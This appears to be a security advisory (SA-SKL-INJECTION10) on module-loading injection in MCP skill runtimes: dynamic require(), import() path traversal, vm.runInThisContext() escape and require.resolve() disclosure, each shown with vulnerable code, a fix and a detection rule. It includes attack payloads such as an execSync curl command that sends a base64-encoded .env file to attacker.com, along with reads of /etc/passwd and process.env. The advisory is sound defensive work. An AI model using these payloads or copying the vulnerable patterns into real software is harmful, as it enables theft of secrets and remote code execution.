Claude MCP skill code injection via dynamic require() and module loading in skill runtime — SA-SKL-INJECTION10
MCP skill runtimes commonly expose APIs that accept module names or file paths as parameters — to support dynamic skill loading, plugin systems, or code evaluation features. When these paths or module names originate from user-controlled request data and are passed directly to Node.js module-loading primitives, the attacker can load any installed npm module, traverse to sensitive files outside the skill directory, or escape VM sandboxes by exploiting subtle differences between runInNewContext() and runInThisContext(). SA-SKL-INJECTION10 covers four module-loading vulnerabilities: require() with user input loading child_process, import() with path traversal to .env, vm.runInThisContext() global scope escape, and require.resolve() path disclosure chained with file reads.
require(req.body.moduleName) in skill runtime loads arbitrary installed npm module — attacker sends moduleName: "child_process" and calls execSync("id > /tmp/pwn"); any module present in node_modules/ is reachableimport(req.body.modulePath) dynamic ES module import with user-controlled path — attacker sends modulePath: "../../.env"; Node.js resolves relative path from skill runtime cwd, loading application secrets as a modulevm.runInThisContext(code) executes user code in the current V8 context — unlike runInNewContext(), shares the global object; attacker accesses global.process.env and global.require without any sandbox restrictionrequire.resolve(req.query.module) returns the resolved absolute path of the user-specified module; combined with fs.readFileSync(resolvedPath), attacker discovers and reads private module source files and internal package implementationsINJECTION10-001 — require() with user-supplied module name
Skill runtimes that support dynamic loading of helper modules accept a module name from the request body and pass it directly to require(). The intent is to allow skills to request additional capabilities from a curated library. The flaw is that Node.js's module resolver checks node_modules/ for any string passed to require() — including built-in modules like child_process, fs, net, and http. An attacker who can send an arbitrary moduleName value loads whichever module they choose, then uses the returned module object to execute OS commands, read the filesystem, or open outbound network connections.
// VULNERABLE — skill runtime handler
app.post('/skill/run', async (req, res) => {
const { moduleName, methodName, args } = req.body;
// Intended to load 'lodash', 'moment', etc.
const mod = require(moduleName); // <-- attacker sends "child_process"
const result = mod[methodName](...args); // <-- mod.execSync("cat /etc/passwd")
res.json({ result });
});
Attack payload: POST body {"moduleName":"child_process","methodName":"execSync","args":["curl http://attacker.com/exfil?data=$(cat /app/.env | base64)"]}. The child_process module is always present in every Node.js installation; no package installation is required. fs, net, crypto, and http are equally accessible.
The fix requires an explicit allowlist. The allowlist must be a hard-coded constant — not a database table or configuration file that the attacker could potentially influence. Additionally, map allowed names to their actual module references at startup rather than passing the user string to require() at all.
// FIXED — module allowlist
const ALLOWED_MODULES = {
lodash: require('lodash'),
'date-fns': require('date-fns'),
uuid: require('uuid'),
};
app.post('/skill/run', async (req, res) => {
const { moduleName, methodName, args } = req.body;
const mod = ALLOWED_MODULES[moduleName];
if (!mod) return res.status(400).json({ error: 'Module not permitted' });
if (typeof mod[methodName] !== 'function') {
return res.status(400).json({ error: 'Method not found' });
}
const result = mod[methodName](...args);
res.json({ result });
});
Detection: SkillAudit scans for require( patterns where the argument is not a string literal — require(variable), require(req.body.*), require(params.*) — and flags any dynamic require() call without an immediately preceding allowlist check as INJECTION10-001. The scanner also checks that pre-loaded module maps use bracket-notation lookup with an explicit undefined check rather than a dynamic require() call.
INJECTION10-002 — Dynamic import() with user-controlled path
ES module dynamic import() differs from require() in one important way for attackers: it natively supports relative paths. While require('../../.env') would fail because .env is not a JavaScript module with a valid module.exports, import('../../.env') in some Node.js configurations and certain module parsing modes may successfully load the file. More critically, import('../../../src/config/database.js') loads internal application modules, exposing their exports — including database credentials, API keys, and internal constants — to the calling skill.
// VULNERABLE — skill with dynamic import support
export async function runSkill(params) {
// Intended for skills to import their own helper modules
const helper = await import(params.helperPath); // <-- params from MCP tool call
return helper.default(params.input);
}
// Attacker MCP tool call:
// { "helperPath": "../../../src/config/secrets.js", "input": "" }
Relative path traversal: The resolution base for dynamic import() is the calling module's directory. If the skill runtime lives at /app/skills/runtime/index.mjs, then import('../../../src/config/secrets.js') resolves to /app/src/config/secrets.js. The attacker needs only the relative depth — which can be brute-forced by trying ../../, ../../../, etc., until a valid module loads without error.
The correct fix requires validating that the resolved absolute path of the import target starts with the skill's own assets directory — the directory where skill source files are stored after installation. Use path.resolve() to get the canonical path, then confirm it is a child of the allowed base directory.
// FIXED — path validation before dynamic import
import path from 'path';
import { fileURLToPath } from 'url';
const SKILL_ASSETS_BASE = '/app/skill-assets'; // UUIDs, never user-supplied names
export async function runSkill(params) {
const resolved = path.resolve(SKILL_ASSETS_BASE, params.helperPath);
if (!resolved.startsWith(SKILL_ASSETS_BASE + '/')) {
throw new Error('Module path outside skill assets directory');
}
// Additional: only allow .mjs files, block .env, .json with secrets
if (!/\.mjs$/.test(resolved)) {
throw new Error('Only .mjs modules may be imported');
}
const helper = await import(resolved);
return helper.default(params.input);
}
INJECTION10-003 — vm.runInThisContext() global scope escape
Node.js's vm module offers two superficially similar functions: runInNewContext(code, sandbox) and runInThisContext(code). The names suggest they both run code in isolated contexts, but runInThisContext() executes in the current V8 context — the same global object that the calling Node.js process uses. Any property on the global object (process, require, Buffer, setTimeout) is fully accessible to code run via runInThisContext(). This is not a sandbox.
// VULNERABLE — skill expression evaluator
const vm = require('vm');
function evaluateExpression(userExpr) {
// Developer mistakenly used runInThisContext instead of runInNewContext
return vm.runInThisContext(userExpr); // <-- shares global with process, require
}
// Attacker sends:
// "process.env.DATABASE_URL" → returns full DB connection string
// "require('child_process').execSync('id').toString()" → RCE
Why this mistake happens: runInThisContext() is legitimately used by Node.js's own module loader to compile module wrapper functions — it appears in internal Node.js source and many tutorials describe it without emphasising the security distinction. Developers searching for "vm execute code nodejs" often find examples using runInThisContext() without the sandbox caveat. The only difference in the API signature is the absence of a sandbox argument, which is easy to overlook.
Always use vm.runInNewContext(code, sandbox, options) with an explicitly constructed sandbox object. The sandbox should contain only the values the skill legitimately needs — no require, no process, no Buffer. Set a timeout option to prevent infinite loops from blocking the event loop.
// FIXED — isolated sandbox with explicit allowlist
const vm = require('vm');
function evaluateExpression(userExpr, allowedVars) {
// allowedVars: { x: 42, limit: 100 } — only the values the caller explicitly passes
const sandbox = Object.create(null); // no Object.prototype, no inherited properties
Object.assign(sandbox, allowedVars); // only the caller's safe values
return vm.runInNewContext(userExpr, sandbox, {
timeout: 100, // 100ms execution limit
breakOnSigint: true, // respect Ctrl+C in tests
filename: 'skill-expr' // for stack traces
});
}
// Even with RCE attempt, sandbox has no process/require:
// evaluateExpression("process.env.SECRET", { x: 1 })
// → ReferenceError: process is not defined
Note on vm sandbox escape: vm.runInNewContext() is significantly safer than runInThisContext(), but it is not a full security sandbox against a determined attacker on Node.js <22. Advanced sandbox escapes via prototype chain manipulation exist. For untrusted code evaluation in a multi-tenant environment, consider running skill code in a separate worker thread with --disallow-code-generation-from-strings, or in an isolated subprocess with minimal file descriptor inheritance.
INJECTION10-004 — require.resolve() path disclosure
require.resolve() returns the absolute path that require() would load for a given module specifier, without actually loading the module. This is useful for tooling and build systems. When called with user-supplied input, it discloses the internal file layout of the application — the absolute paths of private packages, internal utilities, and configuration modules. Chained with a subsequent fs.readFileSync() on the resolved path, it becomes an arbitrary file read targeting specifically the application's own JavaScript source.
// VULNERABLE — module path resolution endpoint for skill debugging
app.get('/debug/module-path', (req, res) => {
try {
const resolvedPath = require.resolve(req.query.module); // <-- user input
res.json({ path: resolvedPath });
} catch (e) {
res.status(404).json({ error: 'Module not found' });
}
});
// Attacker sends: GET /debug/module-path?module=../config/database
// Response: { "path": "/app/src/config/database.js" }
// Follow-up: GET /debug/module-path?module=../config/secrets
// Attacker now knows exact paths; uses another read endpoint to fetch content
Two-stage attack: INJECTION10-004 is a reconnaissance primitive. Alone it discloses paths; combined with any file read functionality (another debug endpoint, a log viewer, an error page that includes stack traces with file paths), the attacker assembles a complete picture of the application's internal module structure before targeting a more impactful read or injection vulnerability.
The fix applies the same module-name allowlist from INJECTION10-001: only accept strings that match a package-name pattern and appear in the allowlist. Reject any input containing path separators (/, . at the start) before calling require.resolve().
// FIXED — validate input is a bare package name before resolve
const PACKAGE_NAME_RE = /^[@a-z0-9][-a-z0-9._]*(?:\/[-a-z0-9._]+)?$/i;
const ALLOWED_PACKAGES = new Set(['lodash', 'uuid', 'date-fns', 'zod']);
app.get('/debug/module-path', (req, res) => {
const mod = req.query.module;
if (!PACKAGE_NAME_RE.test(mod) || !ALLOWED_PACKAGES.has(mod)) {
return res.status(400).json({ error: 'Module not permitted' });
}
try {
const resolvedPath = require.resolve(mod);
res.json({ path: resolvedPath });
} catch (e) {
res.status(404).json({ error: 'Module not found' });
}
});
Detection summary
| Finding | Severity | Pattern | Fix |
|---|---|---|---|
| INJECTION10-001 | CRITICAL | require(userInput) |
Pre-loaded module map with explicit allowlist |
| INJECTION10-002 | CRITICAL | import(userPath) |
path.resolve() + startsWith(skillBase) |
| INJECTION10-003 | CRITICAL | vm.runInThisContext() |
vm.runInNewContext() with empty sandbox + timeout |
| INJECTION10-004 | HIGH | require.resolve(userInput) |
Package-name regex + allowlist before resolve |
SkillAudit's static analysis engine scans MCP skill source for all four INJECTION10 patterns on every submission. Dynamic module loading with user-controlled specifiers triggers an immediate CRITICAL finding; runInThisContext() usage triggers CRITICAL regardless of whether the code argument is user-supplied, because the context escape risk exists for any code that runs in the same process as untrusted skill input. See also SA-SKL-INJECTION9 for eval() and new Function() sandbox escapes, and SA-SKL-SSRF18 for SSRF via manifest URL fetching during skill import.